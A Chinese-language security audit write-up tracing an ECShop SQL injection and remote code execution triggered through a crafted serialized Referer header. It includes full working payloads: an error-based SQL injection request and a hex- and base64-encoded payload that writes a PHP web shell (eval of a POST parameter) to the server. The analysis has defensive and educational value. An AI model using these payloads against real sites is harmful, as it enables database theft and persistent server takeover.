0x01 前言

这次审计的是deshop的两个漏洞,分别是SQL注入以及任意代码执行

0x02 过程

网上已经给出的payload

  1. GET /ecshop/user.php?act=login HTTP/1.1
  2. Host: 192.168.0.111
  3. Pragma: no-cache
  4. Cache-Control: no-cache
  5. DNT: 1
  6. Upgrade-Insecure-Requests: 1
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
  8. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  9. Accept-Encoding: gzip, deflate
  10. Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
  11. Cookie: PHPSESSID=pkqj0jkhnaagobf7hc747ngjn3; ECS_ID=0a8b9fcc306534a8f8ca6f06736ff7631934ce7e; ECS[visit_times]=1; XDEBUG_SESSION=18800
  12. Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
  13. Connection: close

我们来相关代码。首先获取请求包中的Referer请求头,紧接着跟进$smarty->assign(‘back_act’, $back_act);
image.png
可以看到,该函数会将Referer的值保存到$this->_var数组里面。我们在看看user.php的display函数
image.png
程序首先会进入fetch函数,跟进看看
image.png
程序首先会进入第25行的赋值,然后会执行到第44行,函数make_compiled会返回编译后的文件内容。

<?php
    function fetch($filename, $cache_id = '')
    {
        if (!$this->_seterror)
        {
            error_reporting(E_ALL ^ E_NOTICE);
        }
        $this->_seterror++;

        if (strncmp($filename,'str:', 4) == 0)
        {
            $out = $this->_eval($this->fetch_str(substr($filename, 4)));
        }
        else
        {
            if ($this->_checkfile)
            {
                if (!file_exists($filename))
                {
                    $filename = $this->template_dir . '/' . $filename;
                }
            }
            else
            {
                $filename = $this->template_dir . '/' . $filename;
            }

            if ($this->direct_output)
            {
                $this->_current_file = $filename;

                $out = $this->_eval($this->fetch_str(file_get_contents($filename)));
            }
            else
            {
                if ($cache_id && $this->caching)
                {
                    $out = $this->template_out;
                }
                else
                {
                    if (!in_array($filename, $this->template))
                    {
                        $this->template[] = $filename;
                    }

                    $out = $this->make_compiled($filename);

                    if ($cache_id)
                    {
                        $cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id;
                        $data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime));
                        $out = str_replace("\r", '', $out);

                        while (strpos($out, "\n\n") !== false)
                        {
                            $out = str_replace("\n\n", "\n", $out);
                        }

                        $hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1);
                        if (!is_dir($hash_dir))
                        {
                            mkdir($hash_dir);
                        }
                        if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false)
                        {
                            trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php');
                        }
                        $this->template = array();
                    }
                }
            }
        }

        $this->_seterror--;
        if (!$this->_seterror)
        {
            error_reporting($this->_errorlevel);
        }

        return $out; // 返回html数据
    }

我们再来看看display函数,由于我们的请求头包含了它所需要的字符串所以会进入该流程。
image.png
我们需要看第三个数组的内容。跟进
image.png
第二个数组是序列号之后的内容,在请求头可以控制
image.png
继续跟进,如下图
image.png
会执行下面的SQL语句

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop`.`ecs_ad` AS a LEFT JOIN `ecshop`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1607175865' AND end_time >= '1607175865' AND a.position_id = '1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -

命令执行的漏洞同样存在此地方,我们来看看payload

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

其中十六进制的内容为

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx

执行的SQL语句为

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop`.`ecs_ad` AS a LEFT JOIN `ecshop`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1607176177' AND end_time >= '1607176177' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -

我们直接看关键点,跟进
image.png
继续跟进_eval函数
image.png
如下图,命令执行的最终点。
image.png